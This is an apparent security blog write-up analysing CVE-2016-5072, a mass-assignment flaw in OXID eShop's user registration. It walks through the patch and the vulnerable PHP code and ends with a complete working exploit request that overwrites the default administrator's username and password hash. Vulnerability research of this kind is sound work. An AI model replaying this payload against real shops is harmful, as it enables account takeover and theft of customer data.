Vulnerability spotlight: CVE-2016-5072
Analysis of a vulnerability in the open source shop system OXID
-
-
- Name
- Hans-Martin Münch
-
Some time ago, I checked the known vulnerabilities in the open source shop software “OXID eShop”, which is very popular here in Germany. One issue that caught my interest is the vulnerability OXID Security Bulletin 2016-001 (CVE-2016-5072), mainly due to the high impact. From the adivsory:
An attacker can gain full administrative access to OXID eShop. This includes all shopping cart options, customer data and the database. They also can execute PHP code or inject malicious code into the system and the shop’s storefront. No interaction between the attacker and the victim is necessary.
The vendor also published a FAQ for this vulnerability with the official advisory. The following section made me even more curious, as it indicates that we are dealing with a vulnerability that can’t be easily spotted with common vulnerability scanners:
Who found this issue?
The issue was found by OXID developers, not a third party. OXID eShop has gone through many security audits in the past, but the issue wasn’t discovered there.
I decided to dig a bit deeper to understand the root cause of this vulnerability and how it can be exploited by an attacker.
Fundamentals
After reading the vulnerability FAQ, it seems clear that the attacker can somehow modify the existing database record of an administrator user. So let’s have a quick look at the “oxuser” database table. This table is used for all OXID accounts, including shop administrators and customers. The column “oxid” is the primary key of the table. By default, the administrator account that was created during setup has the oxid “oxdefaultadmin”. Other ids are MD5 hashes generated with OXID util method “generateUID()”.
select oxid,oxrights,oxusername from oxuser;
+----------------------------------+-----------+----------------------+
| oxid | oxrights | oxusername |
+----------------------------------+-----------+----------------------+
| oxdefaultadmin | malladmin | info@mogwailabs.de |
| e7af1c3b786fd02906ccd75698f4e6b9 | user | info@oxid-esales.com |
+----------------------------------+-----------+----------------------+
2 rows in set (0.00 sec)
PHP Arrays 101
To grasph how this issue can be exploited, some background knowledge about PHP arrays is necessary. We will quickly cover the basics here.
Like most high level languages, PHP has native support for arrays. An array in PHP is actually an ordered map. A map is a type that associates values to keys. With the help of the key (which could be an integer or string), you can access the assigned value in the array. The following script provides minimal examples, how such arrays can be created/accessed:
<?php
// Define a new array my_array
$my_array = array(
"key1" => "value1",
"key2" => "value2",
"key3" => "value3",
);
// Accessing array values
print ("Key: key1, value: " . $my_array['key1'] . "\n");
// Adding additional values to the existing array
$my_array['new_value'] = "super new value";
// Accessing the added value:
print ("Key: new_value, value: " . $my_array['new_value'] . "\n");
// Create a second array, using integers as keys
$my_int_array = array(
0 => 'int value 0',
1 => 'int value 1',
2 => 'int value 3',
);
// It is possible to store arrays in arrays
$my_array['array_value'] = $my_int_array;
// Accessing arrays in arrays
print ("Accessing arrays in arrays: " .$my_array['array_value'][1] ."\n\n");
?>
Here the output of the previous script
php arraytest.php
Key: key1, value: value1
Key: new_value, value: super new value
Accessing arrays in arrays: int value 1
The PHP language provides the interesting possibility to pass arrays in HTTP requests, a feature that is often used by modern frameworks. Here a minimal example that expects an array as URL/POST or Cookie parameters:
print("my_array['key1'] = " .$_REQUEST['my_array']['key1'] . "<br/>");
print("my_array['key2'] = " .$_REQUEST['my_array']['key2'] . "<br/>");
The array “my_array” can be passed to the script as in the following way:
http://10.165.188.125/array_test.php?my_array[key1]=test&my_array[key2]=bla
The next screenshot shows the registration of a new user account in the OXID shop. As you can see, the parameter “invadr” is an array that gets passed in the POST request. This variable will later become important for understanding the vulnerability.
Vulnerability analysis
By reading the advisory and looking at the released Mod-Security rules, it becomes clear that the bug is somehow related to the registration of new users. The easiest way to analyze this vulnerability is by looking at the official changes by comparing the vulnerable version with the fixed one.
The fix introducted two new methods, “cleanDeliveryAddress” and “cleanBillingAddress”, both called by “createUser()” in the class oxcmp_user:
$sPassword2 = oxConfig::getParameter( 'lgn_pwd2', true );
$aInvAdress = oxConfig::getParameter( 'invadr', true );
$aInvAdress = $this->cleanBillingAddress($aInvAdress);
$aDelAdress = $this->_getDelAddressData();
$aDelAdress = $this->cleanDeliveryAddress($aDelAdress);
$oUser = oxNew( 'oxuser' );
The code of both methods is very similiar. Here the code from “cleanDeliveryAddress”:
/**
* Removes sensitive fields from billing address data.
*
* @param array $aBillingAddress
*
* @return array
*/
private function cleanBillingAddress($aBillingAddress)
{
if (is_array($aBillingAddress)) {
$skipFields = array('oxuser__oxid', 'oxid', 'oxuser__oxpoints', 'oxpoints', 'oxuser__oxboni', 'oxboni');
$aBillingAddress = array_change_key_case($aBillingAddress);
$aBillingAddress = array_diff_key($aBillingAddress, array_flip($skipFields));
}
return $aBillingAddress;
}
The code basically checks if the provided billing address is a PHP array and if so removes elements with certain keys like “oxuser__oxid”. So how is the value of billingAdress (variable “$invadr”) actually used during the user registration process?
Note:
The following code examples are from my test installation (version oxideshop_ce-sync-p-5.2-ce-176), other versions might sligthly differ.
The value gets passed to two methods from the oxUser class, both not changed by the provided fix:
- checkValues from the class oxuser (Line: 449)
- changeUserData from the class oxuser (Line: 463)
As the name implies, the “checkValues” method performs some basic checks on the provided parameters and throws an exception in case of a failed validation.
/**
* Performs bunch of checks if user profile data is correct; on any
* error exception is thrown
*
* @param string $sLogin user login name
* @param string $sPassword user password
* @param string $sPassword2 user password to compare
* @param array $aInvAddress array of user profile data
* @param array $aDelAddress array of user profile data
*
* @todo currently this method calls oxUser class methods responsible for
* input validation. In next major release these should be replaced by direct
* oxInputValidation calls
*
* @throws oxUserException, oxInputException
*/
public function checkValues($sLogin, $sPassword, $sPassword2, $aInvAddress, $aDelAddress)
{
/** @var oxInputValidator $oInputValidator */
$oInputValidator = oxRegistry::get('oxInputValidator');
// 1. checking user name
$sLogin = $oInputValidator->checkLogin($this, $sLogin, $aInvAddress);
// 2. checking email
$oInputValidator->checkEmail($this, $sLogin, $aInvAddress);
// 3. password
$oInputValidator->checkPassword($this, $sPassword, $sPassword2, ((int) oxRegistry::getConfig()->getRequestParameter('option') == 3));
// 4. required fields
$oInputValidator->checkRequiredFields($this, $aInvAddress, $aDelAddress);
// 5. country check
$oInputValidator->checkCountries($this, $aInvAddress, $aDelAddress);
// 6. vat id check.
$oInputValidator->checkVatId($this, $aInvAddress);
// throwing first validation error
if ($oError = oxRegistry::get("oxInputValidator")->getFirstValidationError()) {
throw $oError;
}
}
The method “changeUserData” looks far more promissing. The code calls “checkValues” again, then passes the “$aInvAddress” array to the “assign” method:
/**
* When changing/updating user information in frontend this method validates user
* input. If data is fine - automatically assigns this values. Additionally calls
* methods (oxuser::_setAutoGroups, oxuser::setNewsSubscription) to perform automatic
* groups assignment and returns newsletter subscription status. If some action
* fails - exception is thrown.
*
* @param string $sUser user login name
* @param string $sPassword user password
* @param string $sPassword2 user confirmation password
* @param array $aInvAddress user billing address
* @param array $aDelAddress delivery address
*
* @throws oxUserException, oxInputException, oxConnectionException
*/
public function changeUserData($sUser, $sPassword, $sPassword2, $aInvAddress, $aDelAddress)
{
// validating values before saving. If validation fails - exception is thrown
$this->checkValues($sUser, $sPassword, $sPassword2, $aInvAddress, $aDelAddress);
// input data is fine - lets save updated user info
$this->assign($aInvAddress);
// update old or add new delivery address
$this->_assignAddress($aDelAddress);
// saving new values
if ($this->save()) {
// assigning automatically to specific groups
$sCountryId = isset($aInvAddress['oxuser__oxcountryid']) ? $aInvAddress['oxuser__oxcountryid'] : '';
$this->_setAutoGroups($sCountryId);
}
}
The “oxBase::assign” method (shown below) loops through the array and updates each database field by calling the private method ‘_setFieldData’. This can be dangerous, as the keys and values of the array can be controlled by the attacker, allowing him to overwrite arbitrary fields of the user object, not just the ones from the address.
This is basically a “Mass Assignment” vulnerability which was more common in older versions of Ruby on Rails.
/**
* Assigns DB field values to object fields. Returns true on success.
*
* @param array $dbRecord Associative data values array
*
* @return null
*/
public function assign( $dbRecord )
{
if ( !is_array( $dbRecord ) ) {
return;
}
reset($dbRecord );
while ( list( $sName, $sValue ) = each( $dbRecord ) ) {
// patch for IIS
//TODO: test it on IIS do we still need it
//if( is_array($value) && count( $value) == 1)
// $value = current( $value);
$this->_setFieldData( $sName, $sValue );
}
$sOxidField = $this->_getFieldLongName( 'oxid' );
$this->_sOXID = $this->$sOxidField->value;
}
By adding additional fields to the “invadr” array, we can overwrite arbitrary fiels in the oxuser database record during the registration of a new account. The modification is not restricted to our current user, we can also overwrite the data of other accounts as long as we know their primary key (“oxid”).
The first target that comes in mind is the default admin as the “oxid” for this account is always “oxdefaultadmin”. By overwriting certain properties of this account, for example the username and password hash, an attacker can compromise the account and gain access to the admin backend of the OXID shop.
Exploitation
The following HTTP request shows the acutal exploitation of the the vulnerability. We register a new account and add additional fields to the “invadr” array. This should allow us to overwrite the email address of the default admin account:
Unfortunatelly, this doesn’t seem to work. It looks like OXID is somehow complaining about our password:
The reasons for this issue are the checks in the “checkValues” function. The error is caused by the code of the method “checkLogin()” which gets called by checkValues(). As it turns out, this function does a bit more than “just checking” the email address. In fact, the “bug” that we are try to abuse is a feature that is used by OXID. This is the reason why the added cleanup function doesn’t check for “oxuser__username” or “oxuser__oxpassword”.
public function checkLogin($oUser, $sLogin, $aInvAddress)
{
$sLogin = (isset($aInvAddress['oxuser__oxusername'])) ? $aInvAddress['oxuser__oxusername'] : $sLogin;
// check only for users with password during registration
// if user wants to change user name - we must check if passwords are ok before changing
if ($oUser->oxuser__oxpassword->value && $sLogin != $oUser->oxuser__oxusername->value) {
// on this case password must be taken directly from request
$sNewPass = (isset($aInvAddress['oxuser__oxpassword']) && $aInvAddress['oxuser__oxpassword']) ? $aInvAddress['oxuser__oxpassword'] : oxRegistry::getConfig()->getRequestParameter('user_password');
if (!$sNewPass) {
// 1. user forgot to enter password
$oEx = oxNew('oxInputException');
$oEx->setMessage(oxRegistry::getLang()->translateString('ERROR_MESSAGE_INPUT_NOTALLFIELDS'));
return $this->_addValidationError("oxuser__oxpassword", $oEx);
} else {
// 2. entered wrong password
if (!$oUser->isSamePassword($sNewPass)) {
$oEx = oxNew('oxUserException');
$oEx->setMessage(oxRegistry::getLang()->translateString('ERROR_MESSAGE_PASSWORD_DO_NOT_MATCH'));
return $this->_addValidationError("oxuser__oxpassword", $oEx);
}
}
}
if ($oUser->checkIfEmailExists($sLogin)) {
//if exists then we do now allow to do that
$oEx = oxNew('oxUserException');
$oEx->setMessage(sprintf(oxRegistry::getLang()->translateString('ERROR_MESSAGE_USER_USEREXISTS'), $sLogin));
return $this->_addValidationError("oxuser__oxusername", $oEx);
}
return $sLogin;
}
As we added a value for the “oxuser__oxusername” key in our “invAdr” array, we must also provide a password (array key “oxuser_password”). The value of this field is then checked against the HTTP request parameter “user_password” which we can also provide. So all “password fields” in the request must contain the same hash as value.
Long story short, we can overwrite the username and password hash of the default administrator account. This will change the username of the default admin to “hacked@mogwailabs.de” and the password “hacked456”:
POST /index.php?lang=1& HTTP/1.1
Host: 10.165.188.125
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.165.188.125/index.php?lang=1&cl=register&fnc=logout&redirect=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1526
Cookie: oxidadminlanguage=en; oxidadminprofile=0%40Standard%4010; language=1; sid=nht6r60vqs46cjkjpdn1t5n6a1; sid_key=oxid
Connection: close
Upgrade-Insecure-Requests: 1
stoken=98BFFD11&lang=1&actcontrol=register&fnc=registeruser&cl=register&lgn_cook=0&reloadaddress=&option=3&lgn_usr=poc%40mogwailabs.de&lgn_pwd=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&lgn_pwd2=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&blnewssubscribed=0&invadr%5Boxuser__oxsal%5D=MR&invadr%5Boxuser__oxfname%5D=PoC&invadr%5Boxuser__oxlname%5D=PoC&invadr%5Boxuser__oxcompany%5D=&invadr%5Boxuser__oxaddinfo%5D=&invadr%5Boxuser__oxstreet%5D=Poc&invadr%5Boxuser__oxstreetnr%5D=123&invadr%5Boxuser__oxzip%5D=12345&invadr%5Boxuser__oxcity%5D=PoC&invadr%5Boxuser__oxustid%5D=&invadr%5Boxuser__oxcountryid%5D=a7c40f631fc920687.20179984&invadr%5Boxuser__oxstateid%5D=&invadr%5Boxuser__oxfon%5D=&invadr%5Boxuser__oxfax%5D=&invadr%5Boxuser__oxmobfon%5D=&invadr%5Boxuser__oxprivfon%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bmonth%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bday%5D=&invadr%5Boxuser__oxbirthdate%5D%5Byear%5D=&save=&invadr[oxuser__oxid]=oxdefaultadmin&invadr[oxuser__oxusername]=hacked@mogwailabs.de&invadr[oxuser__oxpasssalt]=49a9a9a9a4fc191cba6cec03bb65bad3&invadr[oxuser__oxpassword]=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&user_password=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb
You can check the database entry to verify the successful exploitation. Of course, you can also just login to the OXID admin backend (/admin).
mysql> select oxid, oxusername from oxuser where oxid='oxdefaultadmin';
+----------------+----------------------+
| oxid | oxusername |
+----------------+----------------------+
| oxdefaultadmin | hacked@mogwailabs.de |
+----------------+----------------------+
1 row in set (0.00 sec)
Thanks to Mike Petrucci on Unsplash for the title picture.